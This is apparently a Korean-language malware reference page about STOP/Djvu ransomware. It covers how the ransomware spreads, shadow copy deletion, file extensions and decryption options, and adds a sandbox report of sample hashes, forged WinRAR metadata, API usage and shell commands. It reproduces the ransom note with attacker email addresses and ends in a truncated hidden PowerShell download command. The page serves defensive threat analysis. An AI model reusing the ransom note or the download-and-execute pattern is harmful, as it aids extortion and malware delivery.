Djvu 랜섬웨어 중지

STOP Djvu Ransomware 제품군이라고도 불리는 STOP Ransomware 제품군은 위협적인 맬웨어입니다. STOP Djvu는 파일 유형에 영향을 미치고 파일 확장자를 암호화하는 방법 중 일부가 다르지만 공통 특성을 공유하고 STOP 랜섬웨어에서 비롯된 여러 위협 중 하나 일뿐입니다.

최초의 STOP 랜섬웨어 는 빠르면 2018 년 2 월에 보안 연구원들에 의해 발견되었습니다. 그러나 그 이후로 진화했으며 클론 및 파생물 군이 성장했습니다. STOP 랜섬웨어의 주요 배포 방법은 손상된 첨부 파일을 사용한 스팸 이메일 캠페인이었습니다.

STOP Djvu 랜섬웨어는 다른 종류의 랜섬웨어 위협과 유사한 방식으로 작동하여 사용자가 시스템에서 사용할 수있는 주요 파일에 대한 액세스를 암호화하고 차단합니다. 개인 파일, 사진, 문서 등을 암호화 할 수 있으며 컴퓨터의 모든 사용자에 대해 기본적으로 비활성화 할 수 있습니다. STOP Djvu Ransomware는 2018 년 12 월 온라인에서 꽤 성공적인 감염 캠페인으로 보이는 곳에서 처음 발견되었습니다. 연구원들은 랜섬웨어가 확산되는 방식을 알지 못했지만 나중에 피해자들은 키겐이나 크랙을 다운로드 한 후 감염을 발견했다고보고했습니다. 침입이 발생하면 STOP Djvu 랜섬웨어는 Windows 설정을 변경하여 .djvu, .djvus, .djvuu, .uudjvu, .udjvu 또는 .djvuq 및 최근 .promorad 및 .promock 확장자와 같은 다양한 이름으로 파일을 추가합니다. 최신 버전에는 아직 해독기가 없지만 이전 버전은 STOPDecrypter를 사용하여 해독 할 수 있습니다. 사용자는 무슨 일이 있어도 몸값을 지불하지 않는 것이 좋습니다.

파일에 대한 액세스를 차단하는 데 사용되는 방법은 RSA 암호화 알고리즘을 사용합니다. 경험이없는 사용자에게는 파일의 암호 해독이 어려워 보일 수 있지만 위협 뒤에있는 사람들에게 비용을 지불하기 위해 노력할 필요는 없습니다. 이러한 상황에서는 일반적으로 허위 약속이 주어 지므로 사용자는 결제가 이루어지면 무시된다는 것을 금방 알 수 있습니다.

STOP Djvu 랜섬웨어의 공격은 2018 년 말에 처음보고되었습니다. STOP Djvu의 주요 배포 방법은 스팸 이메일로 남아 있고 랜섬웨어의 핵심에 대한 조정은 상대적으로 미미했습니다. 스팸 이메일에 사용 된 가짜, 손상된 첨부 파일의 대부분은 피해자 모르게 랜섬웨어를 실행할 수있는 매크로 사용 오피스 문서 또는 가짜 PDF 파일이었습니다. STOP Djvu의 동작도 많이 변경되지 않았습니다. 랜섬웨어는 여전히 백업을 제거하기 위해 모든 Shadow Volume 스냅 샷을 삭제 한 다음 피해자의 파일을 암호화하기 시작합니다.

피해자의 바탕 화면에 '_openme.txt'로 저장되는 랜섬 노트가 약간 변경되었습니다. 몸값 메모의 텍스트는 여기에서 찾을 수 있습니다.

'[랜섬 노트 시작]
———————— 모든 파일이 암호화 됨 ————————

걱정하지 마세요. 모든 파일을 반환 할 수 있습니다!
모든 파일 문서, 사진, 데이터베이스 및 기타 중요한 사항은 가장 강력한 암호화 및 고유 키로 암호화됩니다.
파일을 복구하는 유일한 방법은 해독 도구와 고유 키를 구입하는 것입니다.
이 소프트웨어는 암호화 된 모든 파일을 해독합니다.
우리는 당신에게 어떤 보증을 제공합니까?
암호화 된 파일 중 하나를 PC에서 보내면 무료로 해독 할 수 있습니다.
하지만 무료로 1 개의 파일 만 해독 할 수 있습니다. 파일에는 중요한 정보가 포함되어서는 안됩니다.
파일을 파괴 할 수 있으므로 타사 암호 해독 도구를 사용하지 마십시오.
처음 72 시간 동안 연락하시면 50 % 할인을 받으실 수 있습니다.

——————————————————————————————————-

이 소프트웨어를 받으려면 다음 이메일에 편지를 써야합니다.
helpshadow@india.com

저희에게 연락 할 이메일 주소를 예약하십시오 :
helpshadow@firemail.cc

귀하의 개인 ID : [문자열]
[랜섬 노트 종료] '

랜섬웨어는 원래 .djvu 확장자를 사용하여 암호화 된 파일의 이름을 변경하는 것으로 제한되었는데, 이는 .djvu가 실제로 AT & T 연구소에서 개발하고 Adobe의 .pdf와 다소 유사한 스캔 된 문서를 저장하는 데 사용되는 합법적 인 파일 형식이기 때문에 흥미로운 선택이었습니다. 이후 버전의 랜섬웨어는 '.chech,' '.luceq,' '.kroput1,' '.charck,' '.kropun,'.luces, ''.pulsar1, '등 암호화 된 파일에 대해 일련의 다른 확장자를 채택했습니다. ''.uudjvu, ''.djvur, ''.tfude, ''.tfudeq '및'.tfudet '.

STOP Djvu 랜섬웨어의 특정 변종은 보안 연구원 Michael Gillespie가 개발 한 소위 'STOPDecrypter'를 사용하여 무료로 해독 할 수 있으며 온라인에서 무료로 다운로드 할 수 있습니다.

목차

Toggle

Djvu 랜섬웨어 중지 비디오

팁 : ON 사운드를 켜고 전체 화면 모드에서 비디오를 볼.

Djvu 랜섬웨어 중지 스크린샷

분석 보고서

일반 정보

Family Name:	STOP/DJVU Ransomware
Signature status:	Self Signed

Known Samples

i

Known Samples

This section lists other file samples believed to be associated with this family.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 파일 크기: 6.29 MB, 6292105 bytes

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C 파일 크기: 3.47 MB, 3471869 bytes

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 파일 크기: 1.36 MB, 1359918 bytes

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 파일 크기: 1.33 MB, 1328186 bytes

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 파일 크기: 3.36 MB, 3357556 bytes

Show More

MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB 파일 크기: 1.36 MB, 1364106 bytes

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 파일 크기: 4.86 MB, 4858569 bytes

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 파일 크기: 1.41 MB, 1406899 bytes

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F 파일 크기: 600.12 KB, 600124 bytes

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF 파일 크기: 316.83 KB, 316832 bytes

Windows Portable Executable Attributes

i

Windows Portable Executable Attributes

This section lists file attributes found within family samples. These attributes are extracted from the files’ Windows PE (Portable Executable) specification and various system flags. Portable Executable Attributes give malware researchers insight into a file’s functionality, executable details, platform and runtime environment.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

Show More

• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

i

File Icons

This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.

Windows PE Version Information

i

Windows PE Version Information

This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.

이름	값
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal TrayToolbar WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR Installer
File Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 1.4.1.0 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll WinRAR
Legal Copyright	Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional TrayToolbar WinRAR WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 5.60 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

Digital Signatures

i

Digital Signatures

This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.

Signer	Root	Status
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

File Traits

• .NET
• 2+ executable sections
• big overlay
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)
• No Version Info

Show More

• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

Files Modified

i

Files Modified

This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.

File	Attributes
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data

Show More

c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

Registry Modifications

i

Registry Modifications

This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.

Key::Value	데이터	API Name
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API Usage

i

Windows API Usage

This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.

Category	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose Show More ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Shell Command Execution

i

Shell Command Execution

This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

Show More

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient